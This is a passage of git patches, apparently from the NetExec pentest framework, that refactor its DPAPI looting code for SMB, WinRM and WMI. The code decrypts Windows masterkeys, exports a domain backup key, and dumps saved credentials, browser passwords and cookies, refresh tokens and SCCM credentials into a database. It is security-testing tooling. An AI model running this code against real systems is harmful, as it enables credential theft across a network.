if right_key is not None: - try: - decrypted = blob.decrypt(right_key) - if decrypted is not None: - self.logger.debug(f"Successfully decrypted credentials in {creds_file}:") - creds = CREDENTIAL_BLOB(decrypted) - if creds["Unknown3"] != b"": - target = creds["Target"].decode("utf-16le") - username = creds["Username"].decode("utf-16le") - try: - password = creds["Unknown3"].decode("utf-16le") - except UnicodeDecodeError: - password = creds["Unknown3"].decode("latin-1") - self.logger.highlight(f"{target} - {username}:{password}") - except Exception as e: - self.logger.fail(f"Failed to decrypt credentials in {creds_file} with masterkey: {e!s}") - self.logger.debug(traceback.format_exc()) - else: - self.logger.fail(f"No matching masterkey found for credentials in {creds_file} (need {guid_masterkey})") - - def get_master_key(self, masterkey_file, sid, password): - """ - Taken and adapted from impacket.examples.dpapi - Could be cleaned up but the more we deviate from the original the harder it will be to maintain it - """ - with open(masterkey_file, "rb") as fp: - data = fp.read() - mkf = MasterKeyFile(data) - data = data[len(mkf):] - - if mkf["MasterKeyLen"] > 0: - mk = MasterKey(data[:mkf["MasterKeyLen"]]) - data = data[len(mk):] - - if mkf["BackupKeyLen"] > 0: - bkmk = MasterKey(data[:mkf["BackupKeyLen"]]) - data = data[len(bkmk):] - - if mkf["CredHistLen"] > 0: - ch = CredHist(data[:mkf["CredHistLen"]]) - data = data[len(ch):] - - if mkf["DomainKeyLen"] > 0: - dk = DomainKey(data[:mkf["DomainKeyLen"]]) - data = data[len(dk):] - - key1, key2, key3 = deriveKeysFromUser(sid, password) - - # if mkf['flags'] & 4 ? SHA1 : MD4 - decryptedKey = mk.decrypt(key3) - if decryptedKey: - self.logger.debug("Decrypted key with User Key (MD4 protected)") - return decryptedKey - - decryptedKey = mk.decrypt(key2) - if decryptedKey: - self.logger.debug("Decrypted key with User Key (MD4)") - return decryptedKey - - decryptedKey = mk.decrypt(key1) - if decryptedKey: - self.logger.debug("Decrypted key with User Key (SHA1)") - return decryptedKey - - decryptedKey = bkmk.decrypt(key3) - if decryptedKey: - self.logger.debug("Decrypted Backup key with User Key (MD4 protected)") - return decryptedKey - - decryptedKey = bkmk.decrypt(key2) - if decryptedKey: - self.logger.debug("Decrypted Backup key with User Key (MD4)") - return decryptedKey - - decryptedKey = bkmk.decrypt(key1) - if decryptedKey: - self.logger.debug("Decrypted Backup key with User Key (SHA1)") - return decryptedKey + if self.output_file: + self.output_file.close() + with open(self.output_file_template.format(output_folder="dpapi")) as f: + if sum(1 for _ in f) == 0: + self.logger.fail("No dpapi loot retrieved") \ No newline at end of file diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py index 1beb7d6999..cae5808477 100644 --- a/nxc/protocols/winrm/database.py +++ b/nxc/protocols/winrm/database.py @@ -1,3 +1,5 @@ +import base64 + from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.orm import declarative_base @@ -14,6 +16,8 @@ def __init__(self, db_engine): self.UsersTable = None self.AdminRelationsTable = None self.LoggedinRelationsTable = None + self.DpapiBackupkeyTable = None + self.DpapiSecretsTable = None super().__init__(db_engine) @@ -69,6 +73,32 @@ class LoggedInRelation(Base): ForeignKeyConstraint(["hostid"], ["hosts.id"]), ) + class DpapiSecret(Base): + __tablename__ = "dpapi_secrets" + id = Column(Integer) + host = Column(String) + dpapi_type = Column(String) + windows_user = Column(String) + username = Column(String) + password = Column(String) + url = Column(String) + + __table_args__ = ( + PrimaryKeyConstraint("id"), + UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"), + ) + + class DpapiBackupKey(Base): + __tablename__ = "dpapi_backupkey" + id = Column(Integer) + domain = Column(String) + pvk = Column(String) + + __table_args__ = ( + PrimaryKeyConstraint("id"), + UniqueConstraint("domain"), + ) + @staticmethod def db_schema(db_conn): Base.metadata.create_all(db_conn) @@ -78,6 +108,8 @@ def reflect_tables(self): self.UsersTable = self.reflect_table(self.User) self.AdminRelationsTable = self.reflect_table(self.AdminRelation) self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation) + self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret) + self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey) def add_host(self, ip, port, hostname, domain, os=None): """ @@ -380,3 +412,113 @@ def remove_loggedin_relations(self, user_id=None, host_id=None): elif host_id: q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) self.db_execute(q) + + def add_domain_backupkey(self, domain: str, pvk: bytes): + """ + Add domain backupkey + :domain is the domain fqdn + :pvk is the domain backupkey + """ + q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain)) + results = self.db_execute(q).all() + + if not len(results): + pvk_encoded = base64.b64encode(pvk) + backup_key = {"domain": domain, "pvk": pvk_encoded} + try: + # TODO: find a way to abstract this away to a single Upsert call + q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id) + + self.db_execute(q, [backup_key]) # .scalar() + nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})") + except Exception as e: + nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}") + + def get_domain_backupkey(self, domain: str | None = None): + """ + Get domain backupkey + :domain is the domain fqdn + """ + q = select(self.DpapiBackupkeyTable) + if domain is not None: + q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain)) + results = self.db_execute(q).all() + + nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}") + + if len(results) > 0: + results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results] + return results + + def is_dpapi_secret_valid(self, dpapi_secret_id): + """ + Check if this group ID is valid. + :dpapi_secret_id is a primary id + """ + q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id) + results = self.db_execute(q).first() + valid = results is not None + nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}") + return valid + + def add_dpapi_secrets( + self, + host: str, + dpapi_type: str, + windows_user: str, + username: str, + password: str, + url: str = "", + ): + """Add dpapi secrets to nxcdb""" + secret = { + "host": host, + "dpapi_type": dpapi_type, + "windows_user": windows_user, + "username": username, + "password": password, + "url": url, + } + q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id) + + self.db_execute(q, [secret]) # .scalar() + + nxc_logger.debug( + f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})") + + def get_dpapi_secrets( + self, + filter_term=None, + host: str | None = None, + dpapi_type: str | None = None, + windows_user: str | None = None, + username: str | None = None, + url: str | None = None, + ): + """Get dpapi secrets from nxcdb""" + q = select(self.DpapiSecretsTable) + + if self.is_dpapi_secret_valid(filter_term): + q = q.filter(self.DpapiSecretsTable.c.id == filter_term) + results = self.db_execute(q).first() + # all() returns a list, so we keep the return format the same so consumers don't have to guess + return [results] + elif host: + q = q.filter(self.DpapiSecretsTable.c.host == host) + results = self.db_execute(q).first() + # all() returns a list, so we keep the return format the same so consumers don't have to guess + return [results] + elif dpapi_type: + q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type)) + elif windows_user: + like_term = func.lower(f"%{windows_user}%") + q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term)) + elif username: + like_term = func.lower(f"%{username}%") + q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term)) + elif url: + q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url)) + results = self.db_execute(q).all() + + nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}") + return results diff --git a/nxc/protocols/winrm/proto_args.py b/nxc/protocols/winrm/proto_args.py index d8a342b710..57dc05f583 100644 --- a/nxc/protocols/winrm/proto_args.py +++ b/nxc/protocols/winrm/proto_args.py @@ -17,7 +17,9 @@ def proto_args(parser, parents): cgroup.add_argument("--dump-method", action="store", default="cmd", choices={"cmd", "powershell"}, help="Select shell type in hashes dump for sam or lsa") cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") - cgroup.add_argument("--dpapi", action="store_true", help="dump user's Credential Manager secrets from target systems") + cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem") + cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1") + cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey") mapping_enum_group = winrm_parser.add_argument_group("Mapping/Enumeration") mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')") diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 1aa6be2f41..24d55b39a3 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -517,7 +517,7 @@ def sccm(self): self.logger.fail("No masterkeys looted") return - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}") + self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through WMI queries") dpapi_triage = DPAPITriage(self, target, conn) dpapi_triage.triage_sccm(masterkeys) From 88d0c7bb3fe7788cd0e537405c977ea5d35af107 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 22 Jul 2026 17:25:46 +0200 Subject: [PATCH 117/397] dpapi refacto --- nxc/helpers/dpapi.py | 282 ++++++++++++++++++++++++++--------------- nxc/protocols/smb.py | 111 ++++------------ nxc/protocols/winrm.py | 50 ++------ nxc/protocols/wmi.py | 75 ++--------- 4 files changed, 225 insertions(+), 293 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index bd7fa9685c..c2a7973cea 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -12,92 +12,11 @@ from dploot.triage.vaults import VaultsTriage from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage +from nxc.helpers.logger import highlight -def get_domain_backup_key(context): - pvkbytes = None - try: - results = context.db.get_domain_backupkey(context.domain) - except Exception as e: - print(e) - context.logger.fail( - "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ - 'workspace create dpapi' then re-run the dpapi option" - ) - return False - if len(results) > 0: - context.logger.success("Loading domain backupkey from nxcdb...") - pvkbytes = results[0][2] - elif context.no_da is None and context.args.local_auth is False: - try: - dc_target = SMBTarget.create( - domain=context.domain, - username=context.username, - password=context.password, - address=context.domain, # querying DNS server for domain will return DC - lmhash=context.lmhash, - nthash=context.nthash, - do_kerberos=context.kerberos, - aesKey=context.aesKey, - no_pass=True, - use_kcache=context.use_kcache, - ) - dc_conn = DPLootSMBConnection(dc_target) - dc_conn.connect() # Connect to DC - if dc_conn.is_admin(): - context.logger.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - pvkbytes = backupkey.backupkey_v2 - context.db.add_domain_backupkey(context.domain, pvkbytes) - else: - context.no_da = False - except Exception as e: - context.logger.fail(f"Could not get domain backupkey: {e}") - return pvkbytes - -def collect_masterkeys_from_target(context, target, dploot_connection, user=True, dpapi_system_key=None): - masterkeys = [] - plaintexts = {} - nthashes = {} - if context.args.mkfile is not None: - try: - masterkeys += parse_masterkey_file(context.args.mkfile) - except Exception as e: - context.logger.fail(str(e)) - if user: - plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} - # dploot matches user.lower() - if context.password != "": - plaintexts[context.username.lower()] = context.password - if context.nthash != "": - nthashes[context.username.lower()] = context.nthash - - # Collect User and Machine masterkeys - try: - context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") - masterkeys_triage = MasterkeysTriage( - target=target, - conn=dploot_connection, - pvkbytes=context.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem=dpapi_system_key, - ) - context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") - if user: - context.logger.debug("Collecting user masterkeys") - masterkeys += masterkeys_triage.triage_masterkeys() - if dpapi_system_key is not None: - context.logger.debug("Collecting machine masterkeys") - masterkeys += masterkeys_triage.triage_system_masterkeys() - except Exception as e: - context.logger.debug(f"Could not get masterkeys: {e}") - - return masterkeys - -def upgrade_to_dploot_connection(target, context=None, protocol:str="smb"): +def upgrade_to_dploot_connection(target, context=None): conn = None + protocol = target.protocol try: match protocol: case "smb": @@ -131,12 +50,141 @@ def upgrade_to_dploot_connection(target, context=None, protocol:str="smb"): return conn class DPAPITriage: - def __init__(self, context, target:Target, conn:DPLootConnection, dump_cookies:bool=False): + def __init__(self, context, target:Target): self.context = context self.target = target - self.conn = conn - self.dump_cookies = dump_cookies + self.conn = None + self.dump_cookies = False + self.masterkeys = [] + self.pvkbytes = None + self.dump_cookies="cookies" in context.args.dpapi + + self.system_masterkeys_already_dumped=False + self.users_masterkeys_already_dumped=False + + def init_connection(self): + if self.conn is not None: + self.context.logger.debug("DPLoot connection already initiated, skipping.") + return + self.conn = upgrade_to_dploot_connection(context=self.context, target=self.target) + if self.conn is None: + self.context.logger.debug("Could not initiate DPLoot connection") + return + + def get_domain_backup_key(self): + if self.pvkbytes is not None: + return self.pvkbytes + + pvkbytes = None + if hasattr(self.context.args,"pvk"): + if self.context.args.pvk is not None: + try: + pvkbytes = open(self.context.args.pvk, "rb").read() # noqa: SIM115 + self.context.logger.success(f"Loading domain backupkey from {self.context.args.pvk}") + except Exception as e: + self.context.logger.fail(str(e)) + if pvkbytes is None: + try: + results = self.context.db.get_domain_backupkey(self.context.domain) + except Exception as e: + self.context.logger.fail( + "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ + 'workspace create dpapi' then re-run the dpapi option" + ) + return False + if len(results) > 0: + self.context.logger.success("Loading domain backupkey from nxcdb...") + pvkbytes = results[0][2] + elif self.context.no_da is None and self.context.args.local_auth is False: + try: + dc_target = SMBTarget.create( + domain=self.context.domain, + username=self.context.username, + password=self.context.password, + address=self.context.domain, # querying DNS server for domain will return DC + lmhash=self.context.lmhash, + nthash=self.context.nthash, + do_kerberos=self.context.kerberos, + aesKey=self.context.aesKey, + use_kcache=self.context.use_kcache, + ) + dc_conn = DPLootSMBConnection(dc_target) + dc_conn.connect() # Connect to DC + if dc_conn.is_admin(): + self.context.logger.success("User is Domain Administrator, exporting domain backupkey...") + backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) + backupkey = backupkey_triage.triage_backupkey() + pvkbytes = backupkey.backupkey_v2 + self.context.db.add_domain_backupkey(self.context.domain, pvkbytes) + else: + self.context.no_da = False + except Exception as e: + self.context.logger.fail(f"Could not get domain backupkey: {e}") + self.pvkbytes = pvkbytes + return pvkbytes + + def collect_masterkeys_from_target(self, dump_users:True, dump_system:False): + masterkeys = [] + plaintexts = {} + nthashes = {} + + # First, check and handle the mkfile arg + if self.context.args.mkfile is not None: + try: + masterkeys += parse_masterkey_file(self.context.args.mkfile) + except Exception as e: + self.context.logger.fail(str(e)) + + # Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys + if dump_users: + plaintexts = {username: password for _, _, username, password, _, _ in self.context.db.get_credentials(cred_type="plaintext")} + nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.context.db.get_credentials(cred_type="hash")} + # dploot matches user.lower() + if self.context.password != "": + plaintexts[self.context.username.lower()] = self.context.password + if self.context.nthash != "": + nthashes[self.context.username.lower()] = self.context.nthash + + # Now prepare the SYSTEM part + if dump_system and self.context.dpapi_system_key is None: + # We can use the protocol specific LSA dump if not already dumped. + # But first, just making sure the protocol supports LSA dump :) + if hasattr(self.context, 'lsa') and callable(self.context.lsa): + self.context.lsa() + + # Invoke MasterkeyTriage class + try: + masterkeys_triage = MasterkeysTriage( + target=self.target, + conn=self.conn, + pvkbytes=self.pvkbytes, + passwords=plaintexts, + nthashes=nthashes, + dpapiSystem=self.context.dpapi_system_key, + ) + self.context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") + + if dump_users and not self.users_masterkeys_already_dumped: + self.context.logger.display("Collecting DPAPI Users masterkeys") + self.context.logger.debug("Collecting user masterkeys") + masterkeys += masterkeys_triage.triage_masterkeys() + # if multiple functionalities are calling masterkeys triage, make sur we do it only once + self.users_masterkeys_already_dumped = True + + if self.context.dpapi_system_key is not None and not self.system_masterkeys_already_dumped: + self.context.logger.display("Collecting DPAPI SYSTEM masterkeys") + self.context.logger.debug("Collecting machine masterkeys") + masterkeys += masterkeys_triage.triage_system_masterkeys() + # if multiple functionalities are calling masterkeys triage, make sur we do it only once + self.system_masterkeys_already_dumped = True + except Exception as e: + self.context.logger.debug(f"Could not get masterkeys: {e}") + self.masterkeys += masterkeys + # If we decrypted new masterkeys, print the message + if len(masterkeys) > 0: + self.context.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ") + return self.masterkeys def triage_credentials(self, masterkeys: List[Masterkey]): # Collect User and Machine Credentials Manager secrets @@ -144,8 +192,8 @@ def credential_callback(credential): tag = "CREDENTIAL" line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}" self.context.logger.highlight(line) - if self.context.output_file: - self.context.output_file.write(line + "\n") + if self.output_file: + self.output_file.write(line + "\n") self.context.db.add_dpapi_secrets( self.target.address, tag, @@ -180,8 +228,8 @@ def browser_callback(secret): secret_url = secret.url + " -" if secret.url != "" else "-" line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}" self.context.logger.highlight(line) - if self.context.output_file: - self.context.output_file.write(line + "\n") + if self.output_file: + self.output_file.write(line + "\n") self.context.db.add_dpapi_secrets( self.target.address, secret.browser.upper(), @@ -193,8 +241,8 @@ def browser_callback(secret): elif isinstance(secret, GoogleRefreshToken): line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}" self.context.logger.highlight(line) - if self.context.output_file: - self.context.output_file.write(line + "\n") + if self.output_file: + self.output_file.write(line + "\n") self.context.db.add_dpapi_secrets( self.target.address, secret.browser.upper(), @@ -206,8 +254,8 @@ def browser_callback(secret): elif isinstance(secret, Cookie): line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}" self.context.logger.highlight(line) - if self.context.output_file: - self.context.output_file.write(line + "\n") + if self.output_file: + self.output_file.write(line + "\n") try: browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback) @@ -222,8 +270,8 @@ def vault_callback(secret): resource = secret.resource + " -" if secret.resource != "" else "-" line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}" self.context.logger.highlight(line) - if self.context.output_file: - self.context.output_file.write(line + "\n") + if self.output_file: + self.output_file.write(line + "\n") self.context.db.add_dpapi_secrets( self.target.address, tag, @@ -247,8 +295,8 @@ def firefox_callback(secret): url = secret.url + " -" if secret.url != "" else "-" line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}" self.context.logger.highlight(line) - if self.context.output_file: - self.context.output_file.write(line + "\n") + if self.output_file: + self.output_file.write(line + "\n") self.context.db.add_dpapi_secrets( self.target.address, tag, @@ -260,8 +308,8 @@ def firefox_callback(secret): elif isinstance(secret, FirefoxCookie): line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}" self.context.logger.highlight(line) - if self.context.output_file: - self.context.output_file.write(line + "\n") + if self.output_file: + self.output_file.write(line + "\n") try: # Collect Firefox stored secrets @@ -270,13 +318,41 @@ def firefox_callback(secret): except Exception as e: self.logger.debug(f"Error while looting firefox: {e}") - def triage(self, masterkeys: List[Masterkey]): + # The dpapi function for every protocol + def triage_dpapi(self): + self.output_file = open(self.context.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 + self.pvkbytes = self.get_domain_backup_key() + + self.init_connection() + + masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.context.args.dpapi) + if len(masterkeys) == 0: + self.context.logger.fail("No masterkeys looted") + return + + self.context.logger.success(f"Looting secrets...") + self.triage_credentials(masterkeys) self.triage_chromium(masterkeys) self.triage_vaults(masterkeys) self.triage_firefox() - def triage_sccm(self, masterkeys: List[Masterkey]): + if self.output_file: + self.output_file.close() + with open(self.context.output_file_template.format(output_folder="dpapi")) as f: + if sum(1 for _ in f) == 0: + self.context.logger.fail("No dpapi loot retrieved") + + def triage_sccm(self): + self.init_connection() + + masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True) + if len(masterkeys) == 0: + self.context.logger.fail("No masterkeys looted") + return + + self.context.logger.success("Looting SCCM Credentials") + def sccm_callback(secret): if isinstance(secret, SCCMCred): tag = "NAA Account" diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e09bbfbcf8..c9fe1ee6a3 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -70,7 +70,7 @@ from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.helpers.logger import highlight from nxc.helpers.bloodhound import add_user_bh -from nxc.helpers.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection, DPAPITriage +from nxc.helpers.dpapi import DPAPITriage from nxc.helpers.rpc import NXCRPCConnection from nxc.helpers.powershell import create_ps_command from nxc.helpers.misc import detect_if_ip @@ -135,7 +135,6 @@ def __init__(self, args, db, host): self.is_timed_out = False self.signing = False self.smb_share_name = smb_share_name - self.pvkbytes = None self.no_da = None self.no_ntlm = False self.null_auth = False @@ -145,6 +144,8 @@ def __init__(self, args, db, host): self.tgt = None self.tgs = None + self._dpapi_triage = None + connection.__init__(self, args, db, host) def proto_logger(self): @@ -2151,94 +2152,11 @@ def add_sam_hash(sam_hash, host_id): @requires_admin def sccm(self): - target = Target.create( - domain=self.domain, - username=self.username, - password=self.password, - address=self.hostname + "." + self.domain if self.kerberos else self.host, - lmhash=self.lmhash, - nthash=self.nthash, - do_kerberos=self.kerberos, - aesKey=self.aesKey, - no_pass=True, - use_kcache=self.use_kcache, - ) - - conn = upgrade_to_dploot_connection(context=self, target=target, protocol="smb") - if conn is None: - self.logger.debug("Could not upgrade connection") - return - - if self.dpapi_system_key is None: - # Need to get DPAPI SYSTEM keys, prefer to use embedded LSA dump - # if not already dumped - self.lsa() - - masterkeys = collect_masterkeys_from_target(self, target, conn, user=False, dpapi_system_key=self.dpapi_system_key) - - if len(masterkeys) == 0: - self.logger.fail("No masterkeys looted") - return - - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials") - - dpapi_triage = DPAPITriage(self, target, conn) - dpapi_triage.triage_sccm(masterkeys) + self.dpapi_triage.triage_sccm() @requires_admin def dpapi(self): - dump_system = "nosystem" not in self.args.dpapi - self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 - - if self.args.pvk is not None: - try: - self.pvkbytes = open(self.args.pvk, "rb").read() # noqa: SIM115 - self.logger.success(f"Loading domain backupkey from {self.args.pvk}") - except Exception as e: - self.logger.fail(str(e)) - - if self.pvkbytes is None: - self.pvkbytes = get_domain_backup_key(self) - - target = Target.create( - domain=self.domain, - username=self.username, - password=self.password, - address=self.remoteName, - lmhash=self.lmhash, - nthash=self.nthash, - do_kerberos=self.kerberos, - aesKey=self.aesKey, - no_pass=True, - use_kcache=self.use_kcache, - ) - - conn = upgrade_to_dploot_connection(context=self, target=target, protocol="smb") - if conn is None: - self.logger.debug("Could not upgrade connection") - return - - if dump_system and self.dpapi_system_key is None: - # Need to get DPAPI SYSTEM keys, prefer to use embedded LSA dump - # if not already dumped - self.lsa() - - masterkeys = collect_masterkeys_from_target(self, target, conn, dpapi_system_key=self.dpapi_system_key) - - if len(masterkeys) == 0: - self.logger.fail("No masterkeys looted") - return - - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") - - dpapi_triage = DPAPITriage(self, target, conn, dump_cookies="cookies" in self.args.dpapi) - dpapi_triage.triage(masterkeys) - - if self.output_file: - self.output_file.close() - with open(self.output_file_template.format(output_folder="dpapi")) as f: - if sum(1 for _ in f) == 0: - self.logger.fail("No dpapi loot retrieved") + self.dpapi_triage.triage_dpapi() @requires_admin def list_snapshots(self): @@ -2416,3 +2334,22 @@ def add_hash(secret_type, secret, host_id): def mark_guest(self): return highlight(f"{highlight('(Guest)')}" if self.is_guest else "") + + @property + def dpapi_triage(self) -> DPAPITriage: + if self._dpapi_triage is not None: + return self._dpapi_triage + target = Target.create( + domain=self.domain, + username=self.username, + password=self.password, + address=self.remoteName, + lmhash=self.lmhash, + nthash=self.nthash, + do_kerberos=self.kerberos, + aesKey=self.aesKey, + use_kcache=self.use_kcache, + ) + + self._dpapi_triage = DPAPITriage(self, target) + return self._dpapi_triage diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index ad075b2e25..c037e5b013 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -21,7 +21,7 @@ from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh -from nxc.helpers.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection, DPAPITriage +from nxc.helpers.dpapi import DPAPITriage from nxc.helpers.logger import highlight from nxc.helpers.misc import gen_random_string from nxc.helpers.negotiate_parser import parse_challenge @@ -44,9 +44,10 @@ def __init__(self, args, db, host): self.targetDomain = None self.no_ntlm = False self.dpapi_system_key = None - self.pvkbytes = None self.no_da = None + self._dpapi_triage = None + connection.__init__(self, args, db, host) def proto_logger(self): @@ -417,19 +418,12 @@ def lsa_secret_callback(_, secret): LSA.dumpSecrets() def dpapi(self): - dump_system = "nosystem" not in self.args.dpapi - self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 - - if self.args.pvk is not None: - try: - self.pvkbytes = open(self.args.pvk, "rb").read() # noqa: SIM115 - self.logger.success(f"Loading domain backupkey from {self.args.pvk}") - except Exception as e: - self.logger.fail(str(e)) - - if self.pvkbytes is None: - self.pvkbytes = get_domain_backup_key(self) + self.dpapi_triage.triage_dpapi() + @property + def dpapi_triage(self) -> DPAPITriage: + if self._dpapi_triage is not None: + return self._dpapi_triage target = Target.create( domain=self.domain, username=self.username, @@ -441,29 +435,5 @@ def dpapi(self): nthash=self.nthash, ) - conn = upgrade_to_dploot_connection(context=self, target=target, protocol="winrm") - if conn is None: - self.logger.debug("Could not upgrade connection") - return - - if dump_system and self.dpapi_system_key is None: - # Need to get DPAPI SYSTEM keys, prefer to use embedded LSA dump - # if not already dumped - self.lsa() - - masterkeys = collect_masterkeys_from_target(self, target, conn, dpapi_system_key=self.dpapi_system_key) - - if len(masterkeys) == 0: - self.logger.fail("No masterkeys looted") - return - - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") - - dpapi_triage = DPAPITriage(self, target, conn, dump_cookies="cookies" in self.args.dpapi) - dpapi_triage.triage(masterkeys) - - if self.output_file: - self.output_file.close() - with open(self.output_file_template.format(output_folder="dpapi")) as f: - if sum(1 for _ in f) == 0: - self.logger.fail("No dpapi loot retrieved") \ No newline at end of file + self._dpapi_triage = DPAPITriage(self, target) + return self._dpapi_triage \ No newline at end of file diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 24d55b39a3..8aad815ba1 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -7,7 +7,7 @@ from nxc.logger import NXCAdapter from nxc.helpers.logger import highlight from nxc.protocols.wmi import wmiexec, wmiexec_event -from nxc.helpers.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection, DPAPITriage +from nxc.helpers.dpapi import DPAPITriage from dploot.lib.network.wmi import WMITarget as Target @@ -51,8 +51,10 @@ def __init__(self, args, db, host): } self.iWbemLevel1Login = None self.dcom_conn = None - self.pvkbytes = None self.no_da = None + self.dpapi_system_key = None + + self._dpapi_triage = None connection.__init__(self, args, db, host) @@ -493,49 +495,16 @@ def execute_psh(self, command=None, get_output=False): @requires_admin def sccm(self): - target = Target.create( - domain=self.domain, - username=self.username, - password=self.password, - address=self.hostname + "." + self.domain if self.kerberos else self.host, - lmhash=self.lmhash, - nthash=self.nthash, - do_kerberos=self.kerberos, - aesKey=self.aesKey, - no_pass=True, - use_kcache=self.use_kcache, - ) - - conn = upgrade_to_dploot_connection(context=self, target=target, protocol="wmi") - if conn is None: - self.logger.debug("Could not upgrade connection") - return - - masterkeys = collect_masterkeys_from_target(self, target, conn, user=False) - - if len(masterkeys) == 0: - self.logger.fail("No masterkeys looted") - return - - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through WMI queries") - - dpapi_triage = DPAPITriage(self, target, conn) - dpapi_triage.triage_sccm(masterkeys) + self.dpapi_triage.triage_sccm() @requires_admin def dpapi(self): - self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 - - if self.args.pvk is not None: - try: - 